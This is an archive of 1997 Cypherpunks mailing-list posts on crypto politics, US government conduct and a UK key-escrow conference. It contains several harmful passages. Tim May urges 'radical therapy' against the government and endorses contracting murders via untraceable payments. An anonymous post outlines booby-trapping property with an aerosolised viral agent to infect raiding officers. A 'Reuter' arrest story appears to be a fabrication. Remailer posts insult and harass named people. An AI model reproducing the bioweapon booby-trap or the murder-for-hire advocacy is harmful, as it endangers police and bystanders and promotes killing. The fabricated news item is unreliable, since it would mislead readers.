From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 04:37:50 +0800
Subject: Radiation Therapy to Cure the Cancer
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: 


At 11:30 AM -0800 5/20/97, Eric Murray wrote:

>The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?
>
>I thought that was the FBIs job.  I'm sure they'd have wanted to be
>in on it if he was as big a terrorist as they're making him out to be.
>Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
>do with them, but the IRS went ahead anyhow to harass him and to
>justify their earlier search.  Food for thought and grounds for
>further research...

Maybe now Eric you'll understand why I'm so angry. Maybe you'll even stop
complaining that the list is not talking about pseudoelliptic primes and
other such techno-crippie jive and is instead talking about using strong
crypto as the weapon of destruction is most assuredly is.

(I was there at the very beginning of Cypherpunks and can assure you that
it was _NOT_ created in a political or policy vacuum as just some other
forum for sci.crypt discussions, despite what some have claimed. It was
about the use of strong crypto, anonymous payment systems, data havens,
remailers, and other such Cypherpunkish tools to ensure personal liberty,
freedom from mob rule, avoidance of taxation, liberation from moral
do-gooders, undermining of democracies run amok, and destruction of fascist
and statist infrastructures.)

I saw your comment yesterday about how "You used to be someone whos
postings I read and words I listened to, because you seemed to make sense.
However the last few months you have been talking of little except
way-illegal actions, armed resistance, etc. which IMHO is not yet called
for and which is not shared by the majority of the list."

I've never claimed my views are "shared by the majority of the list"
(though they might be, at the core). I write what I want to write, not what
I think the "shared" views of the list are. You are, of course, free to
write your own stuff, or leave the list, or whatever.

If, as you claim, I am perceived by some (who?) as the "leader of the
Cypherpunks," perhaps this has something to do with the precise points I
have been making for the past several years. (Hint: take a look at what's
been in my .sig for so many years and notice how closely it matches the
things you claim do not represent the shared values of the list, whatever
you think those might be.)

As to why I don't write "reasonable" essays as much anymore...I wrote
"reasonable" essays, many hundreds of them, for several years. (Though if
you read the 1992-94 archives you'll find plenty of angry articles from me
and from many others.)

The vise is tightening. A dozen or more repressive pieces of legislation
are working their way through a compliant Congress, with a
get-along-by-going-along cadre of "cyber rights" organizations helping to
"work the system."

The US government is freaking out. Freaking out and lashing out. And the
courts are no longer willing or able to rein in the excesses. The cancer
that is Washington has metastasized throughout the body. Only radical
therapy--radiation therapy? :-} --will work now.

The time for "reasonable" essays has long passed. They only understand
stronger measures.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From randerso at ece.eng.wayne.edu  Tue May 20 14:02:43 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Wed, 21 May 1997 05:02:43 +0800
Subject: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA08122@rigel.cyberpass.net>
Message-ID: 


On Tue, 20 May 1997, Peter Trei wrote:
> >...to assassinating dozens of leaders of countries the USA wished
> >to shape in different directions, the USA is Terror State Numero Uno.
> 
> Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> exec order forbidding attacks against heads of state?

Ford, I believe.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From nobody at REPLAY.COM  Tue May 20 14:06:09 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 21 May 1997 05:06:09 +0800
Subject: Forgery detection
Message-ID: <199705202033.WAA26798@basement.replay.com>


Date: Mon, 19 May 1997 14:35:57 -0600 (MDT)
From: Graham-John Bullers 
Cc: cypherpunks at toad.com
Subject: Re: Forgery detection

On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched Graham-John Bullers cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From nobody at huge.cajones.com  Tue May 20 14:08:35 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 21 May 1997 05:08:35 +0800
Subject: OTP
Message-ID: <199705202043.NAA19503@fat.doobie.com>


Date: Thu, 15 May 1997 00:23:51 -0600 (MDT)
From: Graham-John Bullers 
Cc: cypherpunks at toad.com
Subject: Re: OTP
Sender: owner-cypherpunks at cyberpass.net
Reply-To: Graham-John Bullers 

On Wed, 14 May 1997, lucifer Anonymous Remailer wrote:


I think Vulis needs each of us to send ten copies of this back to
him.

> Timmy May's reheated, refurbished, and regurgitated cud is completely 
> inappropriate for the mailing lists into which it is cross-ruminated.
> 
>            \|/
>         /~~~~~~~\
>        |  O   O  |
>    -ooo-----U-----ooo- Graham-John Bullers
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From tcmay at got.net  Tue May 20 14:26:42 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 05:26:42 +0800
Subject: The USA is the world's biggest terrorist state
In-Reply-To: <199705201930.MAA05329@you.got.net>
Message-ID: 


At 7:47 AM -0800 5/20/97, Peter Trei wrote:

>What I posted was an idea for a POLL, nothing more. There was no
>suggestion that of any kind of action or incentive - no advocacy
>of murder, no anonymous cash, no payoffs, nothing. This is NOT
>'implementing a variant of assassination politics', and I take
>strong exception to your implication that I would support such
>a thing.

All Bell ever proposed was a kind of POLL. A series of bets. There is very
little distinction. In fact, were a POLL to be used as the scoreboarding
mechanism, any number of clever derivatives of the same poll could be used
to implement AP.

(To flesh this out, imagine Caesar's Palace in Las Vegas posting the poll
the way they post racing results...others could then take bets on who would
appear on the poll. If "Janet Vegas" led the poll of "Living Persons
Desired to be Dead," and I knew approximately when Janet Vegas were to
die--similarities with AP intentional--then I could make a fair amount by
betting that Janet Vegas would soon disappear from that list of "Living
Persons Desired to be Dead" poll.

My point was not that you were supporting the kiling of anyone, Peter, but
that your playing around with a variant--and I maintain that this is what
your POLL is--of Bell's variant is essentially just what Bell was doing.

(I happen to think it's a lot cleaner and more efficient to have primary
market, using untraceable contact and payment systems to contract for
murders, and that Bell's AP was clumsy and inefficient and would probably
have outcomes far from what he speculated might be the outcome.)


>
>I really hate it when you misread, misconstrue, and misquote
>other people. You really seem to have a very tenuous love of truth
>and accuracy when falsehood will serve your purpose better (if
>you think that sounds like the tactics of a certain large
>organization you dislike, you're right.)

As I said, I wasn't claiming you supported AP or killings in general. I was
noting that your playing with related ideas, which surely you must admit
bear several similarities to AP, is just what Bell was doing.


>Let's take just one paragraph from your latest screed. Can you back
>up all or even most of the points in it? I don't think so. You wrote:
>
>>The United States of America is the world's leading terrorist state.
>
>Matter of opinion. I suspect that Libya, Iraq, and Iran are better
>candidates. If you include internal terrorism, add China, North
>Korea, and many others ahead of the US.

As you say, a matter of opinon. Next point.

>
>>From mining harbors in countries with democratically elected
>>governments...
>
>I've got only a quibble with this one. We did mine Managua, ie one
>harbor in one country. While this was clearly unacceptable behaviour,
>it does demonstrate your tendency to play fast and loose with
>numbers.

It seems you agree with me on this. Next point.


>>...to financing the blowing up of airliners by dissident
>>groups
>
>Really? Which ones? Be specific. Which airlines, which flights?
>What were the circumstances in each case? You're using plurals
>again, so you'd better have multiple instances.

Cuban Airlines, for example, by CIA-funded Cuban guerillas. Cf. the URL
http://www.cubaweb.cu/noticias/violence.html, one of many describing the
details.

"The U.S. government has taken almost no action against Cuban
emigree terrorists who operate freely from U.S. territory, despite
the fact that that country pretends to condemn terrorism around
the world. Further, when Cuban defectors have hijacked planes
and boats and/or killed people in the process, U.S. has refused to
return them to Cuba for prosecution and, in fact, have released
them with at most a gentle verbal slap.

"The most awful terrorist action occurred on October 6, 1976, when a bomb
planted aboard a "Cubana Airlines" plane exploted after the passenger jet
took off from Barbados, killing all 73 people aboard -57 Cubans (including
the entire fencing team), 11 Guyanese and 5 North Koreans."

The CIA also engineered the bomb timers Terpil and Wilson, either CIA
agents or CIA renegades, or both (you decide), used in several airliner
destructions. (Why was the CIA building altitude-sensing bomb fuzes which
could be disguised in radios? Only one guess allowed.)

(It's also been reported that Abu Abbas has worked for the Agency, and that
much of the Bekaa Valley/Syrian/Lebanese drug trade is connected with these
areas. No time to write about it here, but do searches on BCCI, Abbas,
Castle Bank, Terpil, Wilson, Bekaa, etc.)


>>...to assassinating dozens of leaders of countries the USA wished
>>to shape in different directions, the USA is Terror State Numero Uno.
>
>Dozens? As in 12+? Again, which ones? When? Any since the (Carter?)
>exec order forbidding attacks against heads of state?

It would take too long to find all the URLs and supporting evidence for a
precise count, but here are some of the _countries_ and leaders in which
the U.S. has been fairly convincingly linked to the killings:

* Iran/Mossadegh
* Algeria/Ben Bella
* Congo/Lamumba (and the guy who came before or after)
* Viet Nam, Diem, and other regional leaders
* Cuba, several attempts on Castro, well-documented (they got Che Guevara)
* Chile, Allende
* several other smaller African nations, whose leaders were assassinated in
what are believed to be CIA and DIA actions (or where CIA, etc. provided
support)

As to Carter's order, so? Do we know, or even have reason to believe, that
Reagan, Bush, and even Clinton have not had government officials of even
heads of state in other countries whacked?

(Noriega claims, fairly convincingly, that he holed up in the Catholic
hospital (or church, whatever) because he understood the desire of the U.S.
was to kill him and not have to have a very public trial in the U.S. This
is not a proved claim, but the "smoking gun" on these sorts of things is
rarely found. Many analysts have stated that avoiding taking Noriega alive
was a goal of "Operation Just Cause.")



>Tim, can you back up your words with facts, or are your recent
>posts "... full of sound and fury, signifying nothing."?

Well, it seems we agreed the first "claim" was a matter of opinion, the
second one was as I stated it, the third one was evidenced by the Cuban
airliner blown up by CIA-funded terrorists (excuse me, "freedom fighters"),
and possibly other examples in the Mideast. Which leaves the last point,
about assassinations of foreign leaders.

Counting all the killings of leaders, I believe the body count for
U.S.-sponsored or -encouraged killings will exceed a dozen. Maybe a couple
of dozen over the past several decades.

In any case, if you want me to taken the "s" out of "dozens," as I cannot
document 24 such kilings, I will be happy to.

(Here's one analysis, of many, of the Lamumba situation: "CHARLAYNE
HUNTER-GAULT: Le Mumba, the first democratically elected leader in all of
Africa, was aligned with the Soviet Union, and in the post-independent
chaos was murdered, if not with CIA help, many believed with CIA blessing.
Urquhart argues that the politics of the Cold War severely retarded Zaire's
political development.

"SIR BRIAN URQUHART: These were proxy Cold War battles, and, of course, the
Congo, now Zaire, originally got into trouble on an East-West split because
the West of the United States backed President Kazabubu and the East and
Soviet Union backed the prime minister, who was Patrice LaMumba."

Add to this list the others I mentioned. I'd say it's fine tribute to a
democartic people's republic like the USA.


>There are sufficient *real* problems with US policy that
>your exaggerations are counter-productive.
>

I stand by what I wrote.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue May 20 14:44:27 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 05:44:27 +0800
Subject: For Whom the Bell Tolls
In-Reply-To: <199705201934.MAA27619@netcom4.netcom.com>
Message-ID: 


At 11:34 AM -0800 5/20/97, Mike Duvos wrote:

>It is unfortunate that in a country which advertises itself as
>some sort of bastion of free speech, one must constantly guard
>ones speech to make sure that it contains no snippets suitable
>for an inflammatory sound byte on the evening news.
>
>Just another of the many manifestations of "The Policeman
>Inside."

No totalitarian state can police all of the citizen-units, so they rely
heavily on fear. And on informants, and "capos." And on DARE-like narc
programs.

(D.A.R.E. stands for "Drug Abuse Resistance Education," a program in many
U.S. public schools which is essentially mandatory. My sister's husband
tried to get his son excused from the 6-week program and was told by the
school, in Long Beach, CA, that while it was not _required_, it was
strongly advised and that his son would have to sit alone in the
principal's office while the other student-units were undergoing
reprogramming. My brother-in-law gave in to the inevitable and let his son
undergo indoctrination. I have a black t-shirt I ordered from an alt.drugs
ad: "D.A.R.E.  (in smaller letters below) I turned in my parents and all I
got was this lousy t-shirt." This gets a wonderful response when I wear it
in Santa Cruz (or to Cypherpunks meetings), but I had one mother come up to
me at a party and tell me she didn't like me wearing it when her
14-year-old son was present. I avoided saying "Fuck off," and instead told
her I'd wear what I wanted to wear.)

The total state also likes to see would-be spokesmen for liberty eventually
nudged (worn out?) toward adopting compromise positions. They become the
"capos" of the new regime, the trusties of the police state.

As a noted reporter and putative libertarian puts it: "Censor yourself or
the government will." (He admitted he didn't like making this argument, but
there it was.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue May 20 15:17:16 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 06:17:16 +0800
Subject: Hey, what does this mean?
Message-ID: 


Anybody know what this means?



ARLINGTON, Va. (Reuter) - David Aaron, a Special Ambassador to an
internationoal organization known as the OECD, has been arrested following
a pre-dawn raid on his home in the posh Lake Barcroft section of Arlington,
near Washington, D.C.

According to Arlington detective Tom DeGongue, Aaron was charged Monday in
Arlington Circuit Court with one felony count of possession of bomb-making
instructions and one misdemeanor count of resisting arrest. According to
DeGongue, there were indications found in the home that Aaron had also
talked about nuclear weapons and terrorism with others, which could open
the door for more charges to be filed.

Speaking for Mr. Aaron, his attorney Charles L. Klausen stated that the
alleged bomb-instructions were related to research Mr.Aaron had done for
novels about terrorists and nuclear weapons, including "State Scarlet" and
"Agents of Influence." "Mr. Aaron was legally entitled to read the
materials allegedly containing bomb-making instructions," said Mr. Clausen.
"In fact, the books seized and the tape-recordings of notes may also be
protected by the Special Rights of Journalists Act of 1986," he added.

Mr. Aaron could not be reached for comment. He was heard by several
witnesses, including memmbers of the tabloid community invited in by the
Arlington detectives, to say, "This is outrageous. I'm a well-respected
member of the Cosmos Club and the Bohemian Club! I am establishing the
world's crypto policy and I fly to capitals around the world. I'm not some
two-bit militia member like that guy arrested out in Portland for talking
about sabotaging computers! What do you think this is, Soviet Russia?"









From aba at dcs.ex.ac.uk  Tue May 20 15:21:11 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Wed, 21 May 1997 06:21:11 +0800
Subject: LSE UK crypto politics conference
Message-ID: <199705202203.XAA00956@server.test.net>



I went to the conference in London on Monday organised by PI (Privacy
Intl.) and GILC (Global Internet Liberty Campaign.)  Speakers were
DTI representatives, Whit Diffie, Phil Zimmermann, Ross Anderson, Carl
Ellison, IBM UK representative, a few people from LSE (London School
of Economics, who hosted the conference).

I don't take notes, but here's a list of points I considered
interesting.  If you want details on any issues I can give more detail
as required.  If anyone else reading went and did take notes they
might be able to attribute quotes a little more accurately.  I
understand there's supposed to be an audio transcript on the web
http://www.privacy.org/pi/conference/dti might be a good place to look.

Government Presentation of proposal

1) David Hendon and Nigel Hickson from DTI presented the DTIs arguments.
They argued that this is a green paper only, the government has
changed, the document was partly the views of the previous government
and partly the views of the DTI.  This I viewed as an attempt to
deflect criticisms, as they could not specify what has changed, and
were not planning to change the document.  (The new government have
not looked at the issue at all).  The labour party had a much more
reasonable policy they published before they got in power; but it
remains to be seen whether they will stick to this or whether the
CESG/GCHQ will lobby them to adopt GAK/TTPs etc., which are in the
CESGs interests.

They claimed to not want to escrow signature keys, but only to escrow
encryption keys.  (The wording in the document clearly states that
they wish to escrow all keys as a condition of being a TTP).  They
said they had many comments on this issue.  (Clearly the only use for
escrowing signature keys is to allow forgeries.  Why would the
government want to forge messages from citizens?  To provide law
enforcement access they only need access to private encryption keys.)

The DTI said much of licensing requirements for TTPs were modelled
after banking regulations.

Architectural and Technical

2) Ross Anderson gave the example of the health service's experience
with CESG/GCHQ foisting flawed cryptography solution CASM on it
(complete with key escrow and secret algorithm Red Pike).  The BMA
(British Medical Assoc), and even DoH (Dept of Health) rejected this
`offer'.  Ross is a computer security advisor to the BMA.  He also
debunked many of the lies spread by GAK proponents, and gave a potted
history of the behind the scenes GAK activities in the UK and Europe.
He also said that CASM was now the laughing stock of Europe in the
crypto community, and that in response the CESG had allocated a new
project manager and given CASM a cosmetic name change to CLOUD COVER.

3) Whit Diffie argued about the importance of privacy in the
information society.  Explained how PK crypto removed the previous
problems with centralised key distribution services.

4) Phil Zimmermann gave his usual talk about the ethical case for free
use of crypto.  Civil rights workers, resistance fighters against
governments with poor civil rights records, etc.  Also made the point
that the backdoor into crypto the DTI appeared to be pushing would
allow the current government to abuse it's power to stay in
government.

Legal and Commercial

5) Peter Sommer, LSE made some points on legal topics digital signature
legislation, etc.

6) Carl Ellison, Cybercash argued against the centralised trust model,
and against X509.  Arguing instead for distributed trust models
particulary Rivest's SDSI and his own work on distributed trust.  Carl
argued that trust should represent permissions, and be administered by
the interested parties.  (eg your bank gives you a key with permission
to draw money from your bank account, not some government licensed
TTP).

7) IBM (in the form of Peter Dare, IBM UK) sold out to GAK.  Peter
Dare's presentation started with a list of things he liked about the
DTI proposal, then a few minor criticisms (very respectfully put), and
as a punchline to his talk presenting IBM GAKware (forget the product
name) and his talk finished with a sales pitch for this product.  At
the end of which Whit Diffie shouted out from the audience can Carl
Ellison have equal time for a cybercash sales pitch!

International

8) John Dryden representing the OECD gave a presentation of the OECD
guidelines.  (T-shirt and jeans odd the rest of the government and
business types wore suits.)  He explained the guidelines as a
significant relaxation.  The guideline referring to key escrow was
changed to a `may' escrow keys rather than a `should' escrow keys.
Said most of the time spent during the OECD SOGIS discussions was
spent arguing about key escrow.  He considered the guidelines a
significant step forward.  The guidelines are non-binding
recommendations.  He said 28 countries signed up, which should
indicate that their countries representatives found the guidelines
consistent with national laws.

9) Alistair Kelman, visiting position at LSE

Made the point (as several others had) that a general principle should
be that trust should mirror existing user trust relationships.  People
do not trust government, nor the sort of large organisations the DTI
is clearly envisaging as suitable TTPs.  He argued that GPs (General
Practitioners, family doctors) would be suitable candidates as trusted
members of the local community.  Kelman also seemed to be arguing that
keys should handed to the user, and not generated by the user.  I
queried him about this afterwards, as it is clearly a bad security
model, and he said he considered it a usability issue, generating keys
being too difficult for the user.  I don't agree, the usability is a
matter to be solved by good software, not by centralising key
generation.

Civil Rights and Privacy

10) Simon Davies, PI argued that case for commonality of interests
between business and privacy issues.

11) David Banisar, EPIC talked about the history of the US clipper
series, and raised the topic of digital telephony bill (where the
government requested access to first 1% and then reduced simultaneous
wiretaps).

Following up from this someone from the floor claimed that the
telephone networks are tappable without the phone company (BT, British
Telecom's) cooperation.  Indeed the person making this claim (who
claimed comprehensive experience and knowledge of phone routing
hardware) said that BT would not even be aware that the tap had taken
place.  Several others in the audience confirmed this was the case.
Whit Diffie said that he had not heard this claim, and that it was not
the case to his knowledge in the US.  The person making the claim said
that he knew the switches used in the US were the same (and quoted the
switch model), and so he didn't see why not.  The question was raised
as to why digital telephony was necessary at all with this type of
phone switch being used in the US.

Law Enforcement

12) The guy from NCIS (National Criminal Intelligence Service) didn't
turn up because he had to go to hospital due to an eye problem.  The
chair, Prof Ian Angell, LSE suggested this might have been due to
looking through too many keyholes :-)

Panel and Open Discussion

Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
Caspar Bowden, Scientists for Labour.

Most of the panel session consisted of arguments directed at the DTI
and questions for Nigel Hickson representing the DTI.  Hickson had
made jokes about the hostility he was expecting.  He appeared quite
competent at avoiding answering questions directly where this suited
him.

Each panelist was given the opportunity to summarise their position.
Nigel Hickson claimed the main motivation for the proposal was to
encourage user and business confidence in digital signatures for
business purposes, and thereby to promote electronic commerce.  He
used this as justification for the banning of un-licensed TTPs.
Several comments from the floor that it would be better to let the
market decide, and to allow unlicensed certification authorities, key
servers etc to continue unmolested, and in competition with GAKked
government licensed services.

Hickson also claimed key escrow was a small part of their
consideration.  (I'm sure it's true that this is the part they wish to
downplay as this is the part which causes the majority of resistance.)

The question was raised as to whether the DTI understood that the TTP
system could be trivially bypassed by the criminals it was supposedly
designed to catch.  An example given was that anyone wishing to bypass
could use the sigature key helpfully certified by the TTP to
authenticate non escrowed keys they generated outside the TTP system.
The point that there were many other subliminal channels was raised
also.  Nigel Hickson acknowledged this, but said in defence that some
criminals are stupid, that criminals must talk to non-criminals.

Someone put it to Hickson "What is the worst thing that could possibly
happen if the government did nothing?"  ie what if the government
didn't legislate anything, ie why doesn't the government get the fuck
out of the way so that business can get on with commerce unimpeded.
Several business people put it to the DTI that they didn't need any
`help', and that the regulations had held up electronic commerce for
too long already.

Several people argued that business is most interested in
authentication, and not in confidentiality.  So for business purposes
(which what after all the DTI claim is the main reason for the paper,
and the DTI being after all the `Department of Trade and Industry' and
having a mandate to further the interests of UK businesses), they
could achieve what they wanted without bringing escrow into the
argument at all, as they have acknowledged that they will now not be
requiring copies of secret part of signature keys.

People argued against the high cost of becoming a TTP.  The point was
raised that it should be SME (Small to Medium-sized Enterprises) which
are encouraged in electronic commerce.  Also that many internet
innovations start as small or even one man consultancies.

Several asked whether the paper should be re-written as a result of
comments before being presented to the new government, as the comments
if listened to would remove most of the current content.  Also the
question was asked as to whether the deadline for comments could be
extended beyond end of May.  No substantive answer was given to either
of these two questions.

My conclusions

The DTI didn't really clarify their position much, most of the
contentious stuff (mandatory licensing, key escrow, financial barriers
to becoming a TTP) there were no substantive replies to from the DTI,
other than that they were collating the comments.  They said they
would present the Labour science minister/labour government with the
green paper unmodified together with the comments.  (And one presumes
a few spooks from GCHQ/CESG will get the opportunity to present the
four horsemen/spook special interest perspective).  The only clear
statement I noticed the DTI spokespersons make was that they wouldn't
hold the private halves of signature keys.

On the positive side, the labour statement on encryption prior to
coming to office was no where near as draconian as the DTI paper.

Anyway, we'll see.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



I hear from anonymous correspondents that the following
technique has been successfully deployed among some militia
members and cypherpunks who fear raids on their private
property.  Apparently the technique was originally invented
by a biotech lab that the FDA was planning to shut down in an
uncivil manner when Kessler first came to power.  The
lab was never raided.

Preliminary: choose a suitable viral agent.  This may range
from a short, severe flu to Eubola, depending on the level
of deterrence desired and safety precautions you have available.
Long-latency debilitating diseases have also been suggested
as an especially effective deterrent that puts the property
owner at less risk of detection.  The property owner must 
obtain both the agent and an effective vaccine.

Step one: immunize household members against this agent.

Step two: create "tamper avenging" packages around the
house.  Make them very suspicious looking (gun lockers, 
boxes labeled "Danger: Toxic Materials", file folders
labeled "Assassination Schedule for December", and so on).  
Don't put them where guests, pets, and so on can get to them, 
but in places where the thugs will look.

Step two (detail): the tamper avenging package contains an 
invisible film of the viral agent in fluid adsorbed to a suitable
carrier.  The carrier is a clear, thin film of sponge-like material that 
produces a fine aerosol of virus containing fluid drops when
disturbed.  When the package is opened and disturbed, the
aerosol quickly shoots and and spreads throughout several
surrounding cubic meters.  Persons unprotected by immunization
or breathing masks are contaminated with high probability.
I've heard unconfirmed rumors of a special sponge material
that lasts for days, infecting a variety of government personnel
and contractors who come in contact with the evidence, and
in some cases, depending on the particular vector,
people they in turn come in intimate contact with. 

Obviously I have not provided enough useful information
in this post to propery implement this technique.  Don't
try this at home without the help of paid professionals
(who I hear are making a killing now with the recent
spate of raids against militias, patriot groups, cypherpunks,
and so on).

Give me Liberty or Give me Death;
Johnny Appleseed






From lucifer at dhp.com  Tue May 20 17:26:59 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 08:26:59 +0800
Subject: Digital signatures
Message-ID: <199705210010.UAA31584@dhp.com>


Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
and racial epithets.

      o/ Tim C[retin] May
     <|
     / >






From wmalik at sdnpk.undp.org  Tue May 20 17:32:02 1997
From: wmalik at sdnpk.undp.org (Wasim Q. Malik)
Date: Wed, 21 May 1997 08:32:02 +0800
Subject: Need some info...
In-Reply-To: 
Message-ID: 


On Mon, 19 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Wasim Q. Malik"  writes:
> 
> > Hi.
> > 
> > I'm gonna give a talk on the subject of hacking/security soon. Need your
> > help with it.
> > 
> > Things that I'm gonna include are: 
> > 	what is hacking, 
> > 	ethics of hacking,
> > 	psychlogy of hacking, 
> > 	other abstracts. 
> > 
> > 	Some technical stuff, such as hacking tools and tactics, including
> > 		IP spoofing,
> > 		packet sniffing,
> > 		cracker programs, 
> > 		keyloggers, 
> > 		progs like satan, etc.
> > 
> > 
> > Can you suggest some additional stuff to be included, or if you have any
> > resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> > to any of the above topics, technical or whatever, please please do send
> > it over. 
> > 
> > Your suggestions will be a great help, as well as any info.
> > 
> > Thanks.
> > 
> > 
> > 
> > Wasim Q. Malik
> > Network Security Expert
> > SDNP Pakistan
> > 
> 
> is this going to be in NYC?  Can I come and listen?

Long way from NY - in Islamabad, Pakistan to be precise!
I'll send a summary on this list.
You can suggest any related topics to be included in the discussion, or
maybe point me to some material. Will be grateful.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan






From real at freenet.edmonton.ab.ca  Tue May 20 18:18:18 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 21 May 1997 09:18:18 +0800
Subject: Digital signatures
In-Reply-To: <199705210010.UAA31584@dhp.com>
Message-ID: 


On Tue, 20 May 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
> child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
> and racial epithets.
> 
>       o/ Tim C[retin] May
>      <|
>      / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cpunks at algebra.com  Tue May 20 18:29:54 1997
From: cpunks at algebra.com (cpunks at algebra.com)
Date: Wed, 21 May 1997 09:29:54 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /^\s*which\s+\S+\s*$/i at line 6 (fwd)
Message-ID: <199705210121.UAA13946@manifold.algebra.com>


----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Sun May 18 16:04:30 1997
Date: Sun, 18 May 1997 16:04:27 -0500
From: owner-cypherpunks at algebra.com
Message-Id: <199705182104.QAA32347 at manifold.algebra.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /^\s*w-h-i--ch\s+\S+\s*$/i at line 6  

